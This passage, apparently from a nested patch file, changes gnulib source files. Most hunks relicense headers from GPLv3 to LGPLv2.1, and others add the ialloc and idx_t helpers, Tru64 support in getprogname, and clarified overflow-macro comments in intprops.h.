+ MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
+- General Public License for more details.
++ Lesser General Public License for more details.
+
+- You should have received a copy of the GNU General Public
++ You should have received a copy of the GNU Lesser General Public
+ License along with the GNU C Library; if not, see
+ <https://www.gnu.org/licenses/>. */
+
+--- a/gnulib/lib/getopt-pfx-core.h
++++ b/gnulib/lib/getopt-pfx-core.h
+@@ -4,19 +4,18 @@
+ Unlike most of the getopt implementation, it is NOT shared
+ with the GNU C Library.
+
+- This file is free software; you can redistribute it and/or modify it
+- under the terms of the GNU General Public License as
+- published by the Free Software Foundation; either version 3 of
+- the License, or (at your option) any later version.
++ This file is free software: you can redistribute it and/or modify
++ it under the terms of the GNU Lesser General Public License as
++ published by the Free Software Foundation; either version 2.1 of the
++ License, or (at your option) any later version.
+
+- This file is distributed in the hope that it will be useful, but
+- WITHOUT ANY WARRANTY; without even the implied warranty of
+- MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
+- General Public License for more details.
++ This file is distributed in the hope that it will be useful,
++ but WITHOUT ANY WARRANTY; without even the implied warranty of
++ MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
++ GNU Lesser General Public License for more details.
+
+- You should have received a copy of the GNU General Public
+- License along with gnulib; if not, see
+- <https://www.gnu.org/licenses/>. */
++ You should have received a copy of the GNU Lesser General Public License
++ along with this program. If not, see <https://www.gnu.org/licenses/>. */
+
+ #ifndef _GETOPT_PFX_CORE_H
+ #define _GETOPT_PFX_CORE_H 1
+--- a/gnulib/lib/getopt-pfx-ext.h
++++ b/gnulib/lib/getopt-pfx-ext.h
+@@ -4,19 +4,18 @@
+ Unlike most of the getopt implementation, it is NOT shared
+ with the GNU C Library.
+
+- This file is free software; you can redistribute it and/or modify it
+- under the terms of the GNU General Public License as
+- published by the Free Software Foundation; either version 3 of
+- the License, or (at your option) any later version.
++ This file is free software: you can redistribute it and/or modify
++ it under the terms of the GNU Lesser General Public License as
++ published by the Free Software Foundation; either version 2.1 of the
++ License, or (at your option) any later version.
+
+- This file is distributed in the hope that it will be useful, but
+- WITHOUT ANY WARRANTY; without even the implied warranty of
+- MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
+- General Public License for more details.
++ This file is distributed in the hope that it will be useful,
++ but WITHOUT ANY WARRANTY; without even the implied warranty of
++ MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
++ GNU Lesser General Public License for more details.
+
+- You should have received a copy of the GNU General Public
+- License along with gnulib; if not, see
+- <https://www.gnu.org/licenses/>. */
++ You should have received a copy of the GNU Lesser General Public License
++ along with this program. If not, see <https://www.gnu.org/licenses/>. */
+
+ #ifndef _GETOPT_PFX_EXT_H
+ #define _GETOPT_PFX_EXT_H 1
+--- a/gnulib/lib/getopt.c
++++ b/gnulib/lib/getopt.c
+@@ -4,16 +4,16 @@
+ Patches to this file should be submitted to both projects.
+
+ The GNU C Library is free software; you can redistribute it and/or
+- modify it under the terms of the GNU General Public
++ modify it under the terms of the GNU Lesser General Public
+ License as published by the Free Software Foundation; either
+- version 3 of the License, or (at your option) any later version.
++ version 2.1 of the License, or (at your option) any later version.
+
+ The GNU C Library is distributed in the hope that it will be useful,
+ but WITHOUT ANY WARRANTY; without even the implied warranty of
+ MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
+- General Public License for more details.
++ Lesser General Public License for more details.
+
+- You should have received a copy of the GNU General Public
++ You should have received a copy of the GNU Lesser General Public
+ License along with the GNU C Library; if not, see
+ <https://www.gnu.org/licenses/>. */
+
+--- a/gnulib/lib/getopt.in.h
++++ b/gnulib/lib/getopt.in.h
+@@ -5,18 +5,18 @@
+ with the GNU C Library, which supplies a different version of
+ this file.
+
+- This file is free software; you can redistribute it and/or modify it
+- under the terms of the GNU General Public License as
+- published by the Free Software Foundation; either version 3 of
+- the License, or (at your option) any later version.
++ This file is free software: you can redistribute it and/or modify
++ it under the terms of the GNU Lesser General Public License as
++ published by the Free Software Foundation; either version 2.1 of the
++ License, or (at your option) any later version.
+
+- This file is distributed in the hope that it will be useful, but
+- WITHOUT ANY WARRANTY; without even the implied warranty of
+- MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
+- General Public License for more details.
++ This file is distributed in the hope that it will be useful,
++ but WITHOUT ANY WARRANTY; without even the implied warranty of
++ MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
++ GNU Lesser General Public License for more details.
+
+- You should have received a copy of the GNU General Public
+- License along with gnulib; if not, see <https://www.gnu.org/licenses/>. */
++ You should have received a copy of the GNU Lesser General Public License
++ along with this program. If not, see <https://www.gnu.org/licenses/>. */
+
+ #ifndef _@GUARD_PREFIX@_GETOPT_H
+
+--- a/gnulib/lib/getopt1.c
++++ b/gnulib/lib/getopt1.c
+@@ -4,16 +4,16 @@
+ Patches to this file should be submitted to both projects.
+
+ The GNU C Library is free software; you can redistribute it and/or
+- modify it under the terms of the GNU General Public
++ modify it under the terms of the GNU Lesser General Public
+ License as published by the Free Software Foundation; either
+- version 3 of the License, or (at your option) any later version.
++ version 2.1 of the License, or (at your option) any later version.
+
+ The GNU C Library is distributed in the hope that it will be useful,
+ but WITHOUT ANY WARRANTY; without even the implied warranty of
+ MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
+- General Public License for more details.
++ Lesser General Public License for more details.
+
+- You should have received a copy of the GNU General Public
++ You should have received a copy of the GNU Lesser General Public
+ License along with the GNU C Library; if not, see
+ <https://www.gnu.org/licenses/>. */
+
+--- a/gnulib/lib/getopt_int.h
++++ b/gnulib/lib/getopt_int.h
+@@ -4,16 +4,16 @@
+ Patches to this file should be submitted to both projects.
+
+ The GNU C Library is free software; you can redistribute it and/or
+- modify it under the terms of the GNU General Public
++ modify it under the terms of the GNU Lesser General Public
+ License as published by the Free Software Foundation; either
+- version 3 of the License, or (at your option) any later version.
++ version 2.1 of the License, or (at your option) any later version.
+
+ The GNU C Library is distributed in the hope that it will be useful,
+ but WITHOUT ANY WARRANTY; without even the implied warranty of
+ MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
+- General Public License for more details.
++ Lesser General Public License for more details.
+
+- You should have received a copy of the GNU General Public
++ You should have received a copy of the GNU Lesser General Public
+ License along with the GNU C Library; if not, see
+ <https://www.gnu.org/licenses/>. */
+
+--- a/gnulib/lib/getprogname.c
++++ b/gnulib/lib/getprogname.c
+@@ -2,16 +2,16 @@
+ Copyright (C) 2016-2021 Free Software Foundation, Inc.
+
+ This program is free software: you can redistribute it and/or modify
+- it under the terms of the GNU General Public License as published by
+- the Free Software Foundation; either version 3 of the License, or
++ it under the terms of the GNU Lesser General Public License as published by
++ the Free Software Foundation; either version 2.1 of the License, or
+ (at your option) any later version.
+
+ This program is distributed in the hope that it will be useful,
+ but WITHOUT ANY WARRANTY; without even the implied warranty of
+ MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
+- GNU General Public License for more details.
++ GNU Lesser General Public License for more details.
+
+- You should have received a copy of the GNU General Public License
++ You should have received a copy of the GNU Lesser General Public License
+ along with this program. If not, see <https://www.gnu.org/licenses/>. */
+
+ #include <config.h>
+@@ -43,7 +43,7 @@
+ # include <string.h>
+ #endif
+
+-#ifdef __sgi
++#if defined __sgi || defined __osf__
+ # include <string.h>
+ # include <unistd.h>
+ # include <stdio.h>
+@@ -224,11 +224,15 @@ getprogname (void)
+ free (buf.ps_pathptr);
+ }
+ return p;
+-# elif defined __sgi /* IRIX */
++# elif defined __sgi || defined __osf__ /* IRIX or Tru64 */
+ char filename[50];
+ int fd;
+
+- sprintf (filename, "/proc/pinfo/%d", (int) getpid ());
++ # if defined __sgi
++ sprintf (filename, "/proc/pinfo/%d", (int) getpid ());
++ # else
++ sprintf (filename, "/proc/%d", (int) getpid ());
++ # endif
+ fd = open (filename, O_RDONLY | O_CLOEXEC);
+ if (0 <= fd)
+ {
+--- a/gnulib/lib/getprogname.h
++++ b/gnulib/lib/getprogname.h
+@@ -2,16 +2,16 @@
+ Copyright (C) 2016-2021 Free Software Foundation, Inc.
+
+ This program is free software: you can redistribute it and/or modify
+- it under the terms of the GNU General Public License as published by
+- the Free Software Foundation; either version 3 of the License, or
++ it under the terms of the GNU Lesser General Public License as published by
++ the Free Software Foundation; either version 2.1 of the License, or
+ (at your option) any later version.
+
+ This program is distributed in the hope that it will be useful,
+ but WITHOUT ANY WARRANTY; without even the implied warranty of
+ MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
+- GNU General Public License for more details.
++ GNU Lesser General Public License for more details.
+
+- You should have received a copy of the GNU General Public License
++ You should have received a copy of the GNU Lesser General Public License
+ along with this program. If not, see <https://www.gnu.org/licenses/>. */
+
+ #ifndef _GL_GETPROGNAME_H
+--- a/gnulib/lib/gettext.h
++++ b/gnulib/lib/gettext.h
+@@ -2,18 +2,18 @@
+ Copyright (C) 1995-1998, 2000-2002, 2004-2006, 2009-2021 Free Software
+ Foundation, Inc.
+
+- This program is free software; you can redistribute it and/or modify
+- it under the terms of the GNU General Public License as published by
+- the Free Software Foundation; either version 3, or (at your option)
+- any later version.
++ This file is free software: you can redistribute it and/or modify
++ it under the terms of the GNU Lesser General Public License as
++ published by the Free Software Foundation; either version 2.1 of the
++ License, or (at your option) any later version.
+
+- This program is distributed in the hope that it will be useful,
++ This file is distributed in the hope that it will be useful,
+ but WITHOUT ANY WARRANTY; without even the implied warranty of
+ MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
+- GNU General Public License for more details.
++ GNU Lesser General Public License for more details.
+
+- You should have received a copy of the GNU General Public License along
+- with this program; if not, see <https://www.gnu.org/licenses/>. */
++ You should have received a copy of the GNU Lesser General Public License
++ along with this program. If not, see <https://www.gnu.org/licenses/>. */
+
+ #ifndef _LIBGETTEXT_H
+ #define _LIBGETTEXT_H 1
+--- a/gnulib/lib/glthread/lock.c
++++ b/gnulib/lib/glthread/lock.c
+@@ -1,18 +1,18 @@
+ /* Locking in multithreaded situations.
+ Copyright (C) 2005-2021 Free Software Foundation, Inc.
+
+- This program is free software; you can redistribute it and/or modify
+- it under the terms of the GNU General Public License as published by
+- the Free Software Foundation; either version 3, or (at your option)
+- any later version.
++ This file is free software: you can redistribute it and/or modify
++ it under the terms of the GNU Lesser General Public License as
++ published by the Free Software Foundation; either version 2.1 of the
++ License, or (at your option) any later version.
+
+- This program is distributed in the hope that it will be useful,
++ This file is distributed in the hope that it will be useful,
+ but WITHOUT ANY WARRANTY; without even the implied warranty of
+ MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
+- GNU General Public License for more details.
++ GNU Lesser General Public License for more details.
+
+- You should have received a copy of the GNU General Public License
+- along with this program; if not, see <https://www.gnu.org/licenses/>. */
++ You should have received a copy of the GNU Lesser General Public License
++ along with this program. If not, see <https://www.gnu.org/licenses/>. */
+
+ /* Written by Bruno Haible <bruno@clisp.org>, 2005.
+ Based on GCC's gthr-posix.h, gthr-posix95.h. */
+--- a/gnulib/lib/glthread/lock.h
++++ b/gnulib/lib/glthread/lock.h
+@@ -1,18 +1,18 @@
+ /* Locking in multithreaded situations.
+ Copyright (C) 2005-2021 Free Software Foundation, Inc.
+
+- This program is free software; you can redistribute it and/or modify
+- it under the terms of the GNU General Public License as published by
+- the Free Software Foundation; either version 3, or (at your option)
+- any later version.
++ This file is free software: you can redistribute it and/or modify
++ it under the terms of the GNU Lesser General Public License as
++ published by the Free Software Foundation; either version 2.1 of the
++ License, or (at your option) any later version.
+
+- This program is distributed in the hope that it will be useful,
++ This file is distributed in the hope that it will be useful,
+ but WITHOUT ANY WARRANTY; without even the implied warranty of
+ MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
+- GNU General Public License for more details.
++ GNU Lesser General Public License for more details.
+
+- You should have received a copy of the GNU General Public License
+- along with this program; if not, see <https://www.gnu.org/licenses/>. */
++ You should have received a copy of the GNU Lesser General Public License
++ along with this program. If not, see <https://www.gnu.org/licenses/>. */
+
+ /* Written by Bruno Haible <bruno@clisp.org>, 2005.
+ Based on GCC's gthr-posix.h, gthr-posix95.h, gthr-win32.h. */
+--- a/gnulib/lib/glthread/threadlib.c
++++ b/gnulib/lib/glthread/threadlib.c
+@@ -1,18 +1,18 @@
+ /* Multithreading primitives.
+ Copyright (C) 2005-2021 Free Software Foundation, Inc.
+
+- This program is free software; you can redistribute it and/or modify
+- it under the terms of the GNU General Public License as published by
+- the Free Software Foundation; either version 3, or (at your option)
+- any later version.
++ This file is free software: you can redistribute it and/or modify
++ it under the terms of the GNU Lesser General Public License as
++ published by the Free Software Foundation; either version 2.1 of the
++ License, or (at your option) any later version.
+
+- This program is distributed in the hope that it will be useful,
++ This file is distributed in the hope that it will be useful,
+ but WITHOUT ANY WARRANTY; without even the implied warranty of
+ MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
+- GNU General Public License for more details.
++ GNU Lesser General Public License for more details.
+
+- You should have received a copy of the GNU General Public License
+- along with this program; if not, see <https://www.gnu.org/licenses/>. */
++ You should have received a copy of the GNU Lesser General Public License
++ along with this program. If not, see <https://www.gnu.org/licenses/>. */
+
+ /* Written by Bruno Haible <bruno@clisp.org>, 2005. */
+
+--- a/gnulib/lib/hard-locale.c
++++ b/gnulib/lib/hard-locale.c
+@@ -3,17 +3,17 @@
+ Copyright (C) 1997-1999, 2002-2004, 2006-2007, 2009-2021 Free Software
+ Foundation, Inc.
+
+- This program is free software: you can redistribute it and/or modify
+- it under the terms of the GNU General Public License as published by
+- the Free Software Foundation; either version 3 of the License, or
+- (at your option) any later version.
++ This file is free software: you can redistribute it and/or modify
++ it under the terms of the GNU Lesser General Public License as
++ published by the Free Software Foundation; either version 2.1 of the
++ License, or (at your option) any later version.
+
+- This program is distributed in the hope that it will be useful,
++ This file is distributed in the hope that it will be useful,
+ but WITHOUT ANY WARRANTY; without even the implied warranty of
+ MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
+- GNU General Public License for more details.
++ GNU Lesser General Public License for more details.
+
+- You should have received a copy of the GNU General Public License
++ You should have received a copy of the GNU Lesser General Public License
+ along with this program. If not, see <https://www.gnu.org/licenses/>. */
+
+ #include <config.h>
+--- a/gnulib/lib/hard-locale.h
++++ b/gnulib/lib/hard-locale.h
+@@ -2,17 +2,17 @@
+
+ Copyright (C) 1999, 2003-2004, 2009-2021 Free Software Foundation, Inc.
+
+- This program is free software: you can redistribute it and/or modify
+- it under the terms of the GNU General Public License as published by
+- the Free Software Foundation; either version 3 of the License, or
+- (at your option) any later version.
++ This file is free software: you can redistribute it and/or modify
++ it under the terms of the GNU Lesser General Public License as
++ published by the Free Software Foundation; either version 2.1 of the
++ License, or (at your option) any later version.
+
+- This program is distributed in the hope that it will be useful,
++ This file is distributed in the hope that it will be useful,
+ but WITHOUT ANY WARRANTY; without even the implied warranty of
+ MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
+- GNU General Public License for more details.
++ GNU Lesser General Public License for more details.
+
+- You should have received a copy of the GNU General Public License
++ You should have received a copy of the GNU Lesser General Public License
+ along with this program. If not, see <https://www.gnu.org/licenses/>. */
+
+ #ifndef HARD_LOCALE_H_
+--- /dev/null
++++ b/gnulib/lib/ialloc.c
+@@ -0,0 +1,21 @@
++/* malloc with idx_t rather than size_t
++
++ Copyright 2021 Free Software Foundation, Inc.
++
++ This file is free software: you can redistribute it and/or modify
++ it under the terms of the GNU Lesser General Public License as
++ published by the Free Software Foundation; either version 3 of the
++ License, or (at your option) any later version.
++
++ This file is distributed in the hope that it will be useful,
++ but WITHOUT ANY WARRANTY; without even the implied warranty of
++ MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
++ GNU Lesser General Public License for more details.
++
++ You should have received a copy of the GNU Lesser General Public License
++ along with this program. If not, see <https://www.gnu.org/licenses/>. */
++
++#include <config.h>
++
++#define IALLOC_INLINE _GL_EXTERN_INLINE
++#include "ialloc.h"
+--- /dev/null
++++ b/gnulib/lib/ialloc.h
+@@ -0,0 +1,94 @@
++/* ialloc.h -- malloc with idx_t rather than size_t
++
++ Copyright 2021 Free Software Foundation, Inc.
++
++ This file is free software: you can redistribute it and/or modify
++ it under the terms of the GNU Lesser General Public License as
++ published by the Free Software Foundation; either version 3 of the
++ License, or (at your option) any later version.
++
++ This file is distributed in the hope that it will be useful,
++ but WITHOUT ANY WARRANTY; without even the implied warranty of
++ MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
++ GNU Lesser General Public License for more details.
++
++ You should have received a copy of the GNU Lesser General Public License
++ along with this program. If not, see <https://www.gnu.org/licenses/>. */
++
++#ifndef IALLOC_H_
++#define IALLOC_H_
++
++#include "idx.h"
++
++#include <errno.h>
++#include <stdint.h>
++#include <stdlib.h>
++
++#ifndef _GL_INLINE_HEADER_BEGIN
++ #error "Please include config.h first."
++#endif
++_GL_INLINE_HEADER_BEGIN
++#ifndef IALLOC_INLINE
++# define IALLOC_INLINE _GL_INLINE
++#endif
++
++#ifdef __cplusplus
++extern "C" {
++#endif
++
++IALLOC_INLINE void * _GL_ATTRIBUTE_COLD
++_gl_alloc_nomem (void)
++{
++ errno = ENOMEM;
++ return NULL;
++}
++
++IALLOC_INLINE void *
++imalloc (idx_t s)
++{
++ return s <= SIZE_MAX ? malloc (s) : _gl_alloc_nomem ();
++}
++
++IALLOC_INLINE void *
++irealloc (void *p, idx_t s)
++{
++ /* Work around GNU realloc glitch by treating a zero size as if it
++ were 1, so that returning NULL is equivalent to failing. */
++ return s <= SIZE_MAX ? realloc (p, s | !s) : _gl_alloc_nomem ();
++}
++
++IALLOC_INLINE void *
++icalloc (idx_t n, idx_t s)
++{
++ if (SIZE_MAX < n)
++ {
++ if (s != 0)
++ return _gl_alloc_nomem ();
++ n = 0;
++ }
++ if (SIZE_MAX < s)
++ {
++ if (n != 0)
++ return _gl_alloc_nomem ();
++ s = 0;
++ }
++ return calloc (n, s);
++}
++
++IALLOC_INLINE void *
++ireallocarray (void *p, idx_t n, idx_t s)
++{
++ /* Work around GNU reallocarray glitch by treating a zero size as if
++ it were 1, so that returning NULL is equivalent to failing. */
++ if (n == 0 || s == 0)
++ n = s = 1;
++ return (n <= SIZE_MAX && s <= SIZE_MAX
++ ? reallocarray (p, n, s)
++ : _gl_alloc_nomem ());
++}
++
++#ifdef __cplusplus
++}
++#endif
++
++#endif
+--- /dev/null
++++ b/gnulib/lib/idx.h
+@@ -0,0 +1,114 @@
++/* A type for indices and sizes.
++ Copyright (C) 2020-2021 Free Software Foundation, Inc.
++ This file is part of the GNU C Library.
++
++ The GNU C Library is free software; you can redistribute it and/or
++ modify it under the terms of the GNU Lesser General Public
++ License as published by the Free Software Foundation; either
++ version 2.1 of the License, or (at your option) any later version.
++
++ The GNU C Library is distributed in the hope that it will be useful,
++ but WITHOUT ANY WARRANTY; without even the implied warranty of
++ MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
++ Lesser General Public License for more details.
++
++ You should have received a copy of the GNU Lesser General Public
++ License along with the GNU C Library; if not, see
++ <https://www.gnu.org/licenses/>. */
++
++#ifndef _IDX_H
++#define _IDX_H
++
++/* Get ptrdiff_t. */
++#include <stddef.h>
++
++/* Get PTRDIFF_MAX. */
++#include <stdint.h>
++
++/* The type 'idx_t' holds an (array) index or an (object) size.
++ Its implementation promotes to a signed integer type,
++ which can hold the values
++ 0..2^63-1 (on 64-bit platforms) or
++ 0..2^31-1 (on 32-bit platforms).
++
++ Why a signed integer type?
++
++ * Security: Signed types can be checked for overflow via
++ '-fsanitize=undefined', but unsigned types cannot.
++
++ * Comparisons without surprises: ISO C99 § 6.3.1.8 specifies a few
++ surprising results for comparisons, such as
++
++ (int) -3 < (unsigned long) 7 => false
++ (int) -3 < (unsigned int) 7 => false
++ and on 32-bit machines:
++ (long) -3 < (unsigned int) 7 => false
++
++ This is surprising because the natural comparison order is by
++ value in the realm of infinite-precision signed integers (ℤ).
++
++ The best way to get rid of such surprises is to use signed types
++ for numerical integer values, and use unsigned types only for
++ bit masks and enums.
++
++ Why not use 'size_t' directly?
++
++ * Because 'size_t' is an unsigned type, and a signed type is better.
++ See above.
++
++ Why not use 'ptrdiff_t' directly?
++
++ * Maintainability: When reading and modifying code, it helps to know that
++ a certain variable cannot have negative values. For example, when you
++ have a loop
++
++ int n = ...;
++ for (int i = 0; i < n; i++) ...
++
++ or
++
++ ptrdiff_t n = ...;
++ for (ptrdiff_t i = 0; i < n; i++) ...
++
++ you have to ask yourself "what if n < 0?". Whereas in
++
++ idx_t n = ...;
++ for (idx_t i = 0; i < n; i++) ...
++
++ you know that this case cannot happen.
++
++ Similarly, when a programmer writes
++
++ idx_t = ptr2 - ptr1;
++
++ there is an implied assertion that ptr1 and ptr2 point into the same
++ object and that ptr1 <= ptr2.
++
++ * Being future-proof: In the future, range types (integers which are
++ constrained to a certain range of values) may be added to C compilers
++ or to the C standard. Several programming languages (Ada, Haskell,
++ Common Lisp, Pascal) already have range types. Such range types may
++ help producing good code and good warnings. The type 'idx_t' could
++ then be typedef'ed to a range type that is signed after promotion. */
++
++/* In the future, idx_t could be typedef'ed to a signed range type.
++ The clang "extended integer types", supported in Clang 11 or newer
++ <https://clang.llvm.org/docs/LanguageExtensions.html#extended-integer-types>,
++ are a special case of range types. However, these types don't support binary
++ operators with plain integer types (e.g. expressions such as x > 1).
++ Therefore, they don't behave like signed types (and not like unsigned types
++ either). So, we cannot use them here. */
++
++/* Use the signed type 'ptrdiff_t'. */
++/* Note: ISO C does not mandate that 'size_t' and 'ptrdiff_t' have the same
++ size, but it is so on all platforms we have seen since 1990. */
++typedef ptrdiff_t idx_t;
++
++/* IDX_MAX is the maximum value of an idx_t. */
++#define IDX_MAX PTRDIFF_MAX
++
++/* So far no need has been found for an IDX_WIDTH macro.
++ Perhaps there should be another macro IDX_VALUE_BITS that does not
++ count the sign bit and is therefore one less than PTRDIFF_WIDTH. */
++
++#endif /* _IDX_H */
+--- a/gnulib/lib/intprops.h
++++ b/gnulib/lib/intprops.h
+@@ -3,16 +3,16 @@
+ Copyright (C) 2001-2021 Free Software Foundation, Inc.
+
+ This program is free software: you can redistribute it and/or modify it
+- under the terms of the GNU General Public License as published
+- by the Free Software Foundation; either version 3 of the License, or
++ under the terms of the GNU Lesser General Public License as published
++ by the Free Software Foundation; either version 2.1 of the License, or
+ (at your option) any later version.
+
+ This program is distributed in the hope that it will be useful,
+ but WITHOUT ANY WARRANTY; without even the implied warranty of
+ MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
+- GNU General Public License for more details.
++ GNU Lesser General Public License for more details.
+
+- You should have received a copy of the GNU General Public License
++ You should have received a copy of the GNU Lesser General Public License
+ along with this program. If not, see <https://www.gnu.org/licenses/>. */
+
+ /* Written by Paul Eggert. */
+@@ -133,7 +133,8 @@
+ operators might not yield numerically correct answers due to
+ arithmetic overflow. They do not rely on undefined or
+ implementation-defined behavior. Their implementations are simple
+- and straightforward, but they are a bit harder to use than the
++ and straightforward, but they are harder to use and may be less
++ efficient than the INT_<op>_WRAPV, INT_<op>_OK, and
+ INT_<op>_OVERFLOW macros described below.
+
+ Example usage:
+@@ -158,6 +159,9 @@
+ must have minimum value MIN and maximum MAX. Unsigned types should
+ use a zero MIN of the proper type.
+
++ Because all arguments are subject to integer promotions, these
++ macros typically do not work on types narrower than 'int'.
++
+ These macros are tuned for constant MIN and MAX. For commutative
+ operations such as A + B, they are also tuned for constant B. */
+
+@@ -339,9 +343,15 @@
+ arguments should not have side effects.
+
+ The WRAPV macros are not constant expressions. They support only
+- +, binary -, and *. Because the WRAPV macros convert the result,
+- they report overflow in different circumstances than the OVERFLOW
+- macros do.
++ +, binary -, and *.
++
++ Because the WRAPV macros convert the result, they report overflow
++ in different circumstances than the OVERFLOW macros do. For
++ example, in the typical case with 16-bit 'short' and 32-bit 'int',
++ if A, B and R are all of type 'short' then INT_ADD_OVERFLOW (A, B)
++ returns false because the addition cannot overflow after A and B
++ are converted to 'int', whereas INT_ADD_WRAPV (A, B, &R) returns
++ true or false depending on whether the sum fits into 'short'.
+
+ These macros are tuned for their last input argument being a constant.
+
+--- a/gnulib/lib/inttypes.in.h
++++ b/gnulib/lib/inttypes.in.h
+@@ -2,17 +2,17 @@
+ Written by Paul Eggert, Bruno Haible, Derek Price.
+ This file is part of gnulib.
+
+- This program is free software: you can redistribute it and/or modify
+- it under the terms of the GNU General Public License as published by
+- the Free Software Foundation; either version 3 of the License, or
+- (at your option) any later version.
++ This file is free software: you can redistribute it and/or modify
++ it under the terms of the GNU Lesser General Public License as
++ published by the Free Software Foundation; either version 2.1 of the
++ License, or (at your option) any later version.
+
+- This program is distributed in the hope that it will be useful,
++ This file is distributed in the hope that it will be useful,
+ but WITHOUT ANY WARRANTY; without even the implied warranty of
+ MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
+- GNU General Public License for more details.
++ GNU Lesser General Public License for more details.
+
+- You should have received a copy of the GNU General Public License
++ You should have received a copy of the GNU Lesser General Public License
+ along with this program. If not, see <https://www.gnu.org/licenses/>. */
+
+ /*
+--- a/gnulib/lib/iswblank.c
++++ b/gnulib/lib/iswblank.c
+@@ -1,18 +1,18 @@
+ /* Test wide character for being blank.
+ Copyright (C) 2008-2021 Free Software Foundation, Inc.
+
+- This program is free software; you can redistribute it and/or modify
+- it under the terms of the GNU General Public License as published by
+- the Free Software Foundation; either version 3, or (at your option)
+- any later version.
++ This file is free software: you can redistribute it and/or modify
++ it under the terms of the GNU Lesser General Public License as
++ published by the Free Software Foundation; either version 2.1 of the
++ License, or (at your option) any later version.
+
+- This program is distributed in the hope that it will be useful,
++ This file is distributed in the hope that it will be useful,
+ but WITHOUT ANY WARRANTY; without even the implied warranty of
+ MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
+- GNU General Public License for more details.
++ GNU Lesser General Public License for more details.
+
+- You should have received a copy of the GNU General Public License along
+- with this program; if not, see <https://www.gnu.org/licenses/>. */
++ You should have received a copy of the GNU Lesser General Public License
++ along with this program. If not, see <https://www.gnu.org/licenses/>. */
+
+ #include <config.h>
+
+--- a/gnulib/lib/iswdigit.c
++++ b/gnulib/lib/iswdigit.c
+@@ -1,18 +1,18 @@
+ /* Test wide character for being a digit.
+ Copyright (C) 2020-2021 Free Software Foundation, Inc.
+
+- This program is free software; you can redistribute it and/or modify
+- it under the terms of the GNU General Public License as published by
+- the Free Software Foundation; either version 3, or (at your option)
+- any later version.
++ This file is free software: you can redistribute it and/or modify
++ it under the terms of the GNU Lesser General Public License as
++ published by the Free Software Foundation; either version 2.1 of the
++ License, or (at your option) any later version.
+
+- This program is distributed in the hope that it will be useful,
++ This file is distributed in the hope that it will be useful,
+ but WITHOUT ANY WARRANTY; without even the implied warranty of
+ MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
+- GNU General Public License for more details.
++ GNU Lesser General Public License for more details.
+
+- You should have received a copy of the GNU General Public License along
+- with this program; if not, see <https://www.gnu.org/licenses/>. */
++ You should have received a copy of the GNU Lesser General Public License
++ along with this program. If not, see <https://www.gnu.org/licenses/>. */
+
+ #include <config.h>
+
+--- a/gnulib/lib/iswxdigit.c
++++ b/gnulib/lib/iswxdigit.c
+@@ -1,18 +1,18 @@
+ /* Test wide character for being a hexadecimal digit.
+ Copyright (C) 2020-2021 Free Software Foundation, Inc.
+
+- This program is free software; you can redistribute it and/or modify
+- it under the terms of the GNU General Public License as published by
+- the Free Software Foundation; either version 3, or (at your option)
+- any later version.
++ This file is free software: you can redistribute it and/or modify
++ it under the terms of the GNU Lesser General Public License as
++ published by the Free Software Foundation; either version 2.1 of the
++ License, or (at your option) any later version.
+
+- This program is distributed in the hope that it will be useful,
++ This file is distributed in the hope that it will be useful,
+ but WITHOUT ANY WARRANTY; without even the implied warranty of
+ MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
+- GNU General Public License for more details.
++ GNU Lesser General Public License for more details.
+
+- You should have received a copy of the GNU General Public License along
+- with this program; if not, see <https://www.gnu.org/licenses/>. */
++ You should have received a copy of the GNU Lesser General Public License
++ along with this program. If not, see <https://www.gnu.org/licenses/>. */
+
+ #include <config.h>
+
+--- a/gnulib/lib/itold.c
++++ b/gnulib/lib/itold.c
+@@ -2,17 +2,17 @@
+ Copyright (C) 2011-2021 Free Software Foundation, Inc.
+ Written by Bruno Haible <bruno@clisp.org>, 2011.
+
+- This program is free software: you can redistribute it and/or modify
+- it under the terms of the GNU General Public License as published by
+- the Free Software Foundation; either version 3 of the License, or
+- (at your option) any later version.
++ This file is free software: you can redistribute it and/or modify
++ it under the terms of the GNU Lesser General Public License as
++ published by the Free Software Foundation; either version 2.1 of the
++ License, or (at your option) any later version.
+
+- This program is distributed in the hope that it will be useful,
++ This file is distributed in the hope that it will be useful,
+ but WITHOUT ANY WARRANTY; without even the implied warranty of
+ MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
+- GNU General Public License for more details.
++ GNU Lesser General Public License for more details.
+
+- You should have received a copy of the GNU General Public License
++ You should have received a copy of the GNU Lesser General Public License
+ along with this program. If not, see <https://www.gnu.org/licenses/>. */
+
+ #include <config.h>
+--- a/gnulib/lib/langinfo.in.h
++++ b/gnulib/lib/langinfo.in.h
+@@ -1,18 +1,18 @@
+ /* Substitute for and wrapper around <langinfo.h>.
+ Copyright (C) 2009-2021 Free Software Foundation, Inc.
+
+- This program is free software; you can redistribute it and/or modify
+- it under the terms of the GNU General Public License as published by
